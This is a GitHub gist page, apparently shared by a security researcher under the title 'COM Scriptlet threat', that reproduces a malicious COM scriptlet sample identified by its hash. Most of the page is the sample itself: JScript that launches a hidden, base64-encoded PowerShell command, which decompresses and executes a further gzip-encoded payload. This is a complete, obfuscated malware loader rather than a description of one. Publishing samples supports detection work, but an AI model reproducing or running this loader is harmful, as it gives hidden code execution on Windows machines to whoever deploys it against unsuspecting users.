Skip to content

Instantly share code, notes, and snippets.

@JohnLaTwC

JohnLaTwC/43cbbbf93121f3644ba26a273ebdb54d8827b25eb9c754d3631be395f06d8cff

Created November 13, 2018 18:28
Show Gist options
  • Save JohnLaTwC/aae3b64006956e8cb7e0127452b5778f to your computer and use it in GitHub Desktop.
Save JohnLaTwC/aae3b64006956e8cb7e0127452b5778f to your computer and use it in GitHub Desktop.
Download ZIP
COM Scriptlet threat
Raw
43cbbbf93121f3644ba26a273ebdb54d8827b25eb9c754d3631be395f06d8cff
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEASAA3AGIANgBWAHMAQwBBADcAVgBXACsAMgArAGIAUwBCAEQAKwBPAFoASAB5AFAANgBEAEsARQBxAEEAUwBQAHgAcgAzAEYAUwBuAFMATABUAGEAMgBjAFUAeABpAGgALwBnAFYAMQB6AHAAdABZAE0ARgByAEwANgB3AEQAUwAvAHoAbwA5AFgAKwAvAHcAVQBDAFMAcQB1AGwAZABlADkASQBoAFcAMQA1AG0AWgAyAFoAbgB2AHYAbAAyAHgAbAA0AFMATwBvAEwAeQBVAFAASwBYAFMAZgAxAEsAKwBuAHAAeQBmAE4AVABIAEUAUQA0AGsAcABYAFQAZgAwAHEAVABTAGEAcQBJAGUASABZAEcAdwA1AEQAcQBmADYAeQBQAHAAUQBsAEoAbQBhAEwAMQB1ADgAZwBEAFQAYwBIADUAKwAzAGsAaQBpAGkASQBRAGkAZQB5ACsAMwBpAFUAQgB4AFQASQBKADcAUgBrAG0AcwBxAE4ASgBmADAAbgBoAEIASQBuAEoANgBmAGIAOABrAGoAcABDACsAUwBxAFUALwB5ADIAMwBHADcAegBIAEwAMQBYAFkATgA3AEMAeQBJAGQASQBwAEMATgA5ADMAcgBjAFEAZQBuAHcAWgBUAHQATgBhAE4AQwBrAGIAOQA4AGsAZABYAFoAYQBXADEAZQBOAGgANABTAHoARwBKAEYAdABuAGUAeABJAEUASABaAFoAVQB4AFcAcABXADkAcQBlAHUARAB0AGIAawAwAFUAMgBhAEoATwB4AEcAUAB1AGkAZgBLAFkAaABtAGYAdgB5AHMATQB3AHgAaAA2ADUAQQBtACsAUAB4AEMASgBpAHcAZAAxAFkAVgBpAEUATgArAEUAUgBFAEoARgBFAG8AWgBRAG0AbABIAHIASgA5AFIAWQBaAGwAUAArAEkATwBjAHQAMgBJAHgATABHAHMAUwBiAFAAVQA5ADIAdwArAC8AMABPAFoANQBRAGYAZgBKAEsARwBnAEEAUwBtAGIAbwBTAEEAUgBYADkAcwBrAGUAcQBRAE8AaQBjAHMAZABIAEwAcQBNADMAQgBCAHYARABsAGEAMgBpAEcAagBvAHoAMQBVAFYAMQBCADcANQBpAGkAaQBsAE0ARwBGAE0AawAzADcASABqAFgASgBGAE4AZwBWAHMAdgAyAHEAawB2AEQAUQBDAHIAYgA2AEkAVgBBADMAcQArAEYAcQBpAEYAbgBjAFQAUgBqAEoAVAArAFoAVgBJAG8AZgBnAHEAUABCAGsAQgBBAEwAaAB2AEoAOABjAG4AeAAxADcAQgBsAFgAdgAzADAAOABOAEwAcQBzAEQAcQBhAEgAWgBZAEUANABoAE4ANgBmAE8AWQBIAHYAUQB1AHAASwBvAG0AVwBYAEEASQBGAGoAegBhAHcAVwB2AHAATgBrAHEASQBPAG4AOQBDAFYAaQBvAHQAUAAyAGsALwB0ADYANABWAHEAcQBBAFkARwB5AEMAWQBqAFQAaAAxADUAMgBDAFEAMQA3AEoARQBMADEAUABwAHoAeABuAFoASgBCADQATgBTAFgATQBYADQAbwBBADYAQgBlAG0AVQAxADkAQQBsAEgAaQBPAEgANwBNAHEARgAyAGgAVQBFAHAATQBqADUAQgBuAEcAYgBoAEIARQBmAGkAeABTAHUAdABNAGcALwBtAEIAawBCAEYAVQArADIAZQBrAEsAWgBTAHkATABrAFEASQBWAGkAaQBBAHEASwBwADMANABmAFQARgBZAEIAUgBUAFoARABpAHcAUwBBAFQAdgBZAE8AcgBDAHQANQBRAEgAVgBTAGEATwBmADAAMwBoAFcAbgBwACsAKwBnAEoARABjAFkAagBtAE4ATgA2AGkAZAB3ADEAeAB4AE4AcwBnAGwAbQB4AE4AVQBrAEYATQBZADAAMwAwAEsASgA0AEkAZQBsAC8AQgB5AHUAbABUAEIAQgBIAFIAeQBMAHcAdAAxAGMAegBWAEQATQBUADIAdgB3AE0AQgBaAFIANABrAEMANQBJAFAATgBiAGUAMAAwAGMAaQBsAGsASwBoAEMAWgAxAHEARQB2ADAAbgBVADMAOQA0AGwAVAA1AFYAUgBnAGEAbQBEAEcAZwBQADMAaAA2AGgARABLAEEASgBFADMAZgBGAGkAawBKAEkAZwBnAFEAQwBxADYAVwBiAFMATABNAFkATQAxAEkAQQBCAHEASABDADkAOQBpADIASQBmAHIAbgBWAFAAOAB3AEIAbgBzAEUAMQBmACsAUAByAHEAQwB2AHgAbABaAFUAeABTAEsAOQBGAC8ARQBCAHEAVwAxAEcAUgBlAGEATgBLAEsAUgBnAEsANgBSAEkAaABvAGIALwArAFgAZwBGADcAMABDAFEAbQBoAEUASgBJAGQAZgBLAGUANwBEAFQATgArAEoAbABNAFcAbAAxAFgANAB3AGUASgA4AFMATQBZAGYAagBrAEgAdwBrAEkAUABGAFcAeABBAE0AZAB4ACsAUgBEAFAAZQBzAEsAeQBwAHYASwBOAFcAMABnAGUASwBaAG0AeQBDAHgASABYADkARQBhADIAdABDAGEAYQBjAEYAMwBTAE0AOQBNADMAdgB6AG8AWABuAGEAWABuAFUAcgBVADMAQwA0ADgAWgBNAGEAbQAxAGUAawAzAEIANQAxAE8ALwBiAEYAcgBqACsAcgBDAE4AawB4AHgAMgBUAGUARgBaAFUAeQBXAFMAeAB0ADEAYgBvAFoAVABjAFcAZQBpAHoAaQAyAHQAcgBxAGIAMQAvAGIAcABMADkAMwBZAFAAdQBkAE4AdAA1AGMATgBlADMAMgArAHEAKwBuAGEALwA5AEYAMQB2ADIAdgBRADgALwA2AE4AbgAzADkAVABlAHQAMgBoAHYAMwBCAGoAbwAxAFgAZQA0ADEAegBTAFMAMwBsAGoAZgA2AE4AVgA2AGIATgBCAE4AWgAwAEMASABnADEAVwAzAEoAZQA2AG4ASQA0AGEASABYAHMAVwBmADEARAA1AGoAdQB1ADEARgB5ADEARwBOAFcAMwBzAFQAbwBmAGIAaQB6AE4AbAAzAHYAVgBGADcAWQBiAG0ANwBhAFkAZQBTAFoAYQBYAGEAbwB3AE0AMABRAE8AagBTAHUAUgBrAE8AMgAvADcAYQBiADgAZQBvADgAbgBuADAAMABBAGkAVwA2AEEARQBaAEcAQwBNAFQARwBhAE4AZAA5AHoAMwBUAEIAOABPAFcAagBvAGEARwBQAHMARABYAHYASAAvADIAdABsAG0AcAAzAGIAawBQAFIAdQB0AHUAZwByAHMAQgBjADkAdQBkAFMAbQAwADYAUQBTADcAYQBWADIANwA5AFIAZQAxAGoAZQA3AGsAUgB1AEQAdABPAGYAYQBFADIATgAwAGIATQA1AFUAaQBFADUAcQBSAFMARwBkAEgAOQAzAGMATwBnADcAUwBNAEQAYwBCAHcARgBIAE8ARQBXAFgAUQAzAGYAVABzAEQAZgAxAFMAMwAyADkAZgBHAHcAOQBxAHkATABIAEcAdQA5AEQAUwBmAEoAWgBuAE4AeAA4AFMAWQB0AEsAOQBTADEAdABMAFoAZQBWAE8AdABuAGoAZABYAEMAVQBiAHoAQQBEAEsAbwBJAEQAYgBPADQATQBDADAAZQB0AGYASQAyADIATwBjADAAdABWAEMAVQBiAEgAUwB1AFMAQgBRAFMAQgByAE0ASABwAGwATgBCAFAAcwBRAFkAZAA5AEkAbQBmAE8AaQBZAE0AQQBDAHkAdABwAHgATwBpAFMARQBzAHoAOQA2ADkAdQBsAEsAbABKADAAWAAxAHUAVABjAFgAbwB2AFAAegBPAHcAZwB6ADcAYwB3AHAANgA4AG8AOQBFAHYAcABpAG8AVgBXADMAWgA5AFUAcQBkAE4AdgBxAHQAbAA2AEYATABIADgAOQB0AHcAWgBmADcANQBUAE0AbAA1AGEAMgBhADgARABtAHkAVABjADcAKwBGAFoAVAByAHAAZQA4ADMAZgA4AE0AVwBYADcAQgBGAHYARABqAC8AaAB0AGsAegA3AEoALwAyAFAAMABsAEcASwB0AGEAbQB2AEEAUAB3AHUAOABGAHYAdwBYAG8ANwAyAGMAKwB4AGwAUwBBAHEAZwAzADkAZwBaAEYAcwBMAEwAMABPAFEARQA2AFAARgAvAFAAYQAyADAASABsAHYAZgB4AEoALwAzAEIAZABKACsATAAwAEMAbwBiADQAeQBmAEgAZgBEADQAUABnAFIAdABvAEoAQQBBAEEAPQAnACcAKQApACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
")
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment